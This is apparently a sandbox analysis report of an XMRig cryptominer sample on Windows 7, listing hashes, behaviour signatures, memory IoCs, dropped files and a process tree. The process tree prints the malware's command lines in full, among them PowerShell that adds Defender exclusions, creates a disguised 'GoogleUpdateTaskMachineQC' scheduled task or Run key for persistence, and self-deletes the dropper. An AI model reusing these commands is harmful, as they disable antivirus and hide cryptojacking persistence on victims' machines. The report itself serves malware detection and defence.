xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
1775s
max time network
1803s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
23/01/2024, 19:27

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General

Target
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Size 2.0MB
Sample240123-x59d7agbd6
SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
MD5 a16a669a09bf158058b83e04e69fe38e
SHA1 f6c94763850d9e590d86057139e8895a7aacdeea
SHA512 658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP 49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 1916 created 1180	1916	M8xUNW42QxTLMRXN.exe	13
PID 1916 created 1180	1916	M8xUNW42QxTLMRXN.exe	13
PID 1916 created 1180	1916	M8xUNW42QxTLMRXN.exe	13
PID 1916 created 1180	1916	M8xUNW42QxTLMRXN.exe	13
PID 696 created 1180	696	updater.exe	13
PID 696 created 1180	696	updater.exe	13
PID 696 created 1180	696	updater.exe	13
PID 696 created 1180	696	updater.exe	13
PID 2816 created 1180	2816	conhost.exe	13
PID 696 created 1180	696	updater.exe	13

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 24 IoCs

miner

resource	yara_rule
behavioral19/memory/2084-71-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2084-73-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2084-75-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2084-77-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2084-81-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2084-83-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2084-85-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2084-87-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2084-89-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2084-91-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2084-93-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2084-95-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2084-97-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2084-99-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2084-101-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2084-103-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2084-105-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2084-107-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2084-109-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2084-111-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2084-113-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2084-115-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2084-117-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2084-119-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2796	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
696	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
2204	taskeng.exe

UPX packed file 30 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral19/memory/2084-67-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2084-71-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2084-73-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2084-75-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2084-77-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2084-81-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2084-83-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2084-85-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2084-87-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2084-89-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2084-91-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2084-93-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2084-95-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2084-97-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2084-99-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2084-101-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2084-103-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2084-105-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2084-107-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2084-109-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2084-111-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2084-113-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2084-115-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2084-117-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2084-119-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2084-121-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2084-123-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2084-125-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2084-127-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2084-129-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 696 set thread context of 2816	696	updater.exe	51
PID 696 set thread context of 2084	696	updater.exe	55

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Chrome\updater.exe	M8xUNW42QxTLMRXN.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2420	schtasks.exe
1860	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2564	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 205a459f3e4fda01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
1916	M8xUNW42QxTLMRXN.exe
1916	M8xUNW42QxTLMRXN.exe
2432	powershell.exe
1916	M8xUNW42QxTLMRXN.exe
1916	M8xUNW42QxTLMRXN.exe
2648	powershell.exe
1916	M8xUNW42QxTLMRXN.exe
1916	M8xUNW42QxTLMRXN.exe
1916	M8xUNW42QxTLMRXN.exe
1916	M8xUNW42QxTLMRXN.exe
2580	powershell.exe
696	updater.exe
696	updater.exe
488	powershell.exe
696	updater.exe
696	updater.exe
1032	powershell.exe
696	updater.exe
696	updater.exe
696	updater.exe
696	updater.exe
2816	conhost.exe
2816	conhost.exe
696	updater.exe
696	updater.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
464	Process not Found

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	2432	powershell.exe
Token: SeDebugPrivilege	2648	powershell.exe
Token: SeDebugPrivilege	2580	powershell.exe
Token: SeDebugPrivilege	488	powershell.exe
Token: SeDebugPrivilege	1032	powershell.exe
Token: SeDebugPrivilege	696	updater.exe
Token: SeAssignPrimaryTokenPrivilege	2564	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2564	WMIC.exe
Token: SeSecurityPrivilege	2564	WMIC.exe
Token: SeTakeOwnershipPrivilege	2564	WMIC.exe
Token: SeLoadDriverPrivilege	2564	WMIC.exe
Token: SeSystemtimePrivilege	2564	WMIC.exe
Token: SeBackupPrivilege	2564	WMIC.exe
Token: SeRestorePrivilege	2564	WMIC.exe
Token: SeShutdownPrivilege	2564	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2564	WMIC.exe
Token: SeUndockPrivilege	2564	WMIC.exe
Token: SeManageVolumePrivilege	2564	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	2564	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2564	WMIC.exe
Token: SeSecurityPrivilege	2564	WMIC.exe
Token: SeTakeOwnershipPrivilege	2564	WMIC.exe
Token: SeLoadDriverPrivilege	2564	WMIC.exe
Token: SeSystemtimePrivilege	2564	WMIC.exe
Token: SeBackupPrivilege	2564	WMIC.exe
Token: SeRestorePrivilege	2564	WMIC.exe
Token: SeShutdownPrivilege	2564	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2564	WMIC.exe
Token: SeUndockPrivilege	2564	WMIC.exe
Token: SeManageVolumePrivilege	2564	WMIC.exe
Token: SeLockMemoryPrivilege	2084	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2648 wrote to memory of 2420	2648	powershell.exe	32
PID 2648 wrote to memory of 2420	2648	powershell.exe	32
PID 2648 wrote to memory of 2420	2648	powershell.exe	32
PID 2796 wrote to memory of 2588	2796	cmd.exe	34
PID 2796 wrote to memory of 2588	2796	cmd.exe	34
PID 2796 wrote to memory of 2588	2796	cmd.exe	34
PID 2580 wrote to memory of 3060	2580	powershell.exe	38
PID 2580 wrote to memory of 3060	2580	powershell.exe	38
PID 2580 wrote to memory of 3060	2580	powershell.exe	38
PID 2204 wrote to memory of 696	2204	taskeng.exe	40
PID 2204 wrote to memory of 696	2204	taskeng.exe	40
PID 2204 wrote to memory of 696	2204	taskeng.exe	40
PID 1032 wrote to memory of 1860	1032	powershell.exe	47
PID 1032 wrote to memory of 1860	1032	powershell.exe	47
PID 1032 wrote to memory of 1860	1032	powershell.exe	47
PID 696 wrote to memory of 2816	696	updater.exe	51
PID 2480 wrote to memory of 2564	2480	cmd.exe	53
PID 2480 wrote to memory of 2564	2480	cmd.exe	53
PID 2480 wrote to memory of 2564	2480	cmd.exe	53
PID 696 wrote to memory of 2084	696	updater.exe	55

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1180
- C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\M8xUNW42QxTLMRXN.exe
  "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\M8xUNW42QxTLMRXN.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:1916
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2432
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2648
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2420
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\M8xUNW42QxTLMRXN.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2796
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2580
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:3060
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:488
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1032
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:1860
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:1196
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:2480
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    - Detects videocard installed
    - Modifies data under HKEY_USERS
    - Suspicious use of AdjustPrivilegeToken
    PID:2564
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:2816
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2084

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:2588

C:\Windows\system32\taskeng.exe
taskeng.exe {3C808B7A-C9EB-446F-A3FE-92A79F7CF81C} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2204
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:696

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 41KB
SHA256 9dc91ad771902dabeb37cf0da9ab3745244c4d05a6e2c0ed4ae07dedd29dacb6
MD5 bbf773378a9b409fce34916985c43903
SHA1 c759eeb4f3ccc001cca137dc41b485c346af0f42
SHA512 41241ede8df973177295f581c1504e73de19e31c0a2ea27971852ce91605d0f3a170eb32bba17d683d9873e69583abb37f6aee1e964fcc57cff9789501bdfac4
SSDEEP 768:w80qZz2da1pk/0RQj8inRh6UZLyj5pLauwYY94E6l+NZoKK:L3zCarzIpyj5pLauwYY94E6w/oD
MD5 SHA1 SHA512 SSDEEP

Submit Download

updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 231KB
SHA256 dfde379e9958c7a6dfd8f96bca37993e2466245bb2b090b668772151aac0c1fa
MD5 d15c5250ea3a0779166cb28e6ea5c799
SHA1 504814d6fa3fccf994a1549fde95d93e875e7278
SHA512 db979d1c2df613f885beff6c383a582d6d5298a2a6cdb46912ee08028c17cba116d9ecd168f7c00cdc2aa7aa39451400ea653b45e14a500f12674a19f9d168f9
SSDEEP 6144:L3zjTg6uUuViDX5Q6k6hyqsD238zkU0yLbRfgajd0m8keLt:rWVi46hyqG2ckwLxgajd0mA5
MD5 SHA1 SHA512 SSDEEP

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g.log

Path C:\Program Files\Google\Libs\g.log
Size 198B
SHA256 8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
MD5 37dd19b2be4fa7635ad6a2f3238c4af1
SHA1 e5b2c034636b434faee84e82e3bce3a3d3561943
SHA512 86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
MD5 SHA1 SHA512

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IYD7VQ0S2QJ1DQJ1RDVQ.temp

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\IYD7VQ0S2QJ1DQJ1RDVQ.temp
Size 7KB
SHA256 3a1b413a372c40f8b343a1972329cb1b35fbba11be9c180a0c5f71fcc991c0af
MD5 9ffb98873a85352affbe24d8bb991db6
SHA1 9a8a569b2f4ff1b56dfda454ded0926efc1d75d2
SHA512 362ea62212099072cd9230dad4bc46ba62346e01a3780f0802e7631a36f120463ce5a8a81969f820dd0e5e0810768bad9c2487acd3c64919b1eb56b70457b8aa
SSDEEP 96:UjlbKC9M8onqvsqvJCwozjlbKC9M8onqvsEHyqvJCworZmLtQH+z711XlUVa:4lbXkUo/lbXkAHnorZwbz711t
MD5 SHA1 SHA512 SSDEEP

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updater.exe

Path \Program Files\Google\Chrome\updater.exe
Size 1KB
SHA256 a3f75e9da7020010715b3577eeb734c992639c52d28022dcf4351e75b547ad9a
MD5 354cb1a947775335559af96169bec9b7
SHA1 b6c8f30617d94fb12296d9591778f67d4d81371e
SHA512 7b31080399d8c37de51ea26b50abba6e475d1bde589061bcfe54f98453843c44686cbc9540409b28a6ec1b4076e94a068d96af197c7a76b7574b67cb02be671b
MD5 SHA1 SHA512

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memory/488-45-0x000007FEF49B0000-0x000007FEF534D000-memory.dmp

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memory/488-46-0x000007FEF49B0000-0x000007FEF534D000-memory.dmp

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memory/488-48-0x0000000000A30000-0x0000000000AB0000-memory.dmp

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memory/488-49-0x0000000000A30000-0x0000000000AB0000-memory.dmp

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memory/488-47-0x0000000000A30000-0x0000000000AB0000-memory.dmp

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memory/488-50-0x000007FEF49B0000-0x000007FEF534D000-memory.dmp

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memory/696-65-0x000000013FD70000-0x000000013FF81000-memory.dmp

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memory/696-44-0x000000013FD70000-0x000000013FF81000-memory.dmp

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memory/1032-58-0x000007FEF5350000-0x000007FEF5CED000-memory.dmp

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memory/1032-52-0x000007FEF5350000-0x000007FEF5CED000-memory.dmp

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memory/1032-53-0x0000000001070000-0x00000000010F0000-memory.dmp

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memory/1032-54-0x000007FEF5350000-0x000007FEF5CED000-memory.dmp

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memory/1032-56-0x0000000001070000-0x00000000010F0000-memory.dmp

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memory/1032-55-0x0000000001070000-0x00000000010F0000-memory.dmp

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memory/1032-57-0x0000000001070000-0x00000000010F0000-memory.dmp

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memory/1916-27-0x000000013FFE0000-0x00000001401F1000-memory.dmp

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memory/1916-0-0x000000013FFE0000-0x00000001401F1000-memory.dmp

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memory/2084-85-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2084-97-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2084-129-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2084-127-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2084-125-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2084-123-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2084-121-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2084-119-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2084-117-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2084-115-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2084-113-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2084-111-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2084-109-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2084-107-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2084-105-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2084-103-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2084-101-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2084-99-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2084-95-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2084-93-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2084-91-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2084-89-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2084-87-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2084-67-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2084-66-0x00000000000F0000-0x0000000000110000-memory.dmp

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memory/2084-68-0x00000000007A0000-0x00000000007C0000-memory.dmp

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memory/2084-69-0x00000000007C0000-0x00000000007E0000-memory.dmp

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memory/2084-83-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2084-71-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2084-73-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2084-81-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2084-75-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2084-78-0x00000000007A0000-0x00000000007C0000-memory.dmp

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memory/2084-79-0x00000000007C0000-0x00000000007E0000-memory.dmp

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memory/2084-77-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2432-8-0x00000000023D0000-0x00000000023D8000-memory.dmp

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memory/2432-12-0x000007FEF5350000-0x000007FEF5CED000-memory.dmp

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memory/2432-7-0x0000000002640000-0x00000000026C0000-memory.dmp

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memory/2432-6-0x000007FEF5350000-0x000007FEF5CED000-memory.dmp

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memory/2432-5-0x000000001B1E0000-0x000000001B4C2000-memory.dmp

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memory/2432-9-0x000007FEF5350000-0x000007FEF5CED000-memory.dmp

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memory/2432-10-0x0000000002640000-0x00000000026C0000-memory.dmp

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memory/2432-11-0x0000000002640000-0x00000000026C0000-memory.dmp

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memory/2580-34-0x000007FEF5350000-0x000007FEF5CED000-memory.dmp

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memory/2580-39-0x0000000002860000-0x00000000028E0000-memory.dmp

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memory/2580-38-0x0000000002860000-0x00000000028E0000-memory.dmp

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memory/2580-40-0x000007FEF5350000-0x000007FEF5CED000-memory.dmp

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memory/2580-37-0x0000000002860000-0x00000000028E0000-memory.dmp

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memory/2580-36-0x000007FEF5350000-0x000007FEF5CED000-memory.dmp

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memory/2580-35-0x0000000002860000-0x00000000028E0000-memory.dmp

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memory/2648-21-0x0000000002530000-0x00000000025B0000-memory.dmp

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memory/2648-24-0x0000000002530000-0x00000000025B0000-memory.dmp

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memory/2648-23-0x0000000002530000-0x00000000025B0000-memory.dmp

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memory/2648-25-0x000007FEF49B0000-0x000007FEF534D000-memory.dmp

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memory/2648-22-0x000007FEF49B0000-0x000007FEF534D000-memory.dmp

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memory/2648-19-0x000007FEF49B0000-0x000007FEF534D000-memory.dmp

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memory/2648-20-0x0000000002510000-0x0000000002518000-memory.dmp

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memory/2648-18-0x000000001B1C0000-0x000000001B4A2000-memory.dmp

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memory/2816-74-0x0000000140000000-0x0000000140016000-memory.dmp

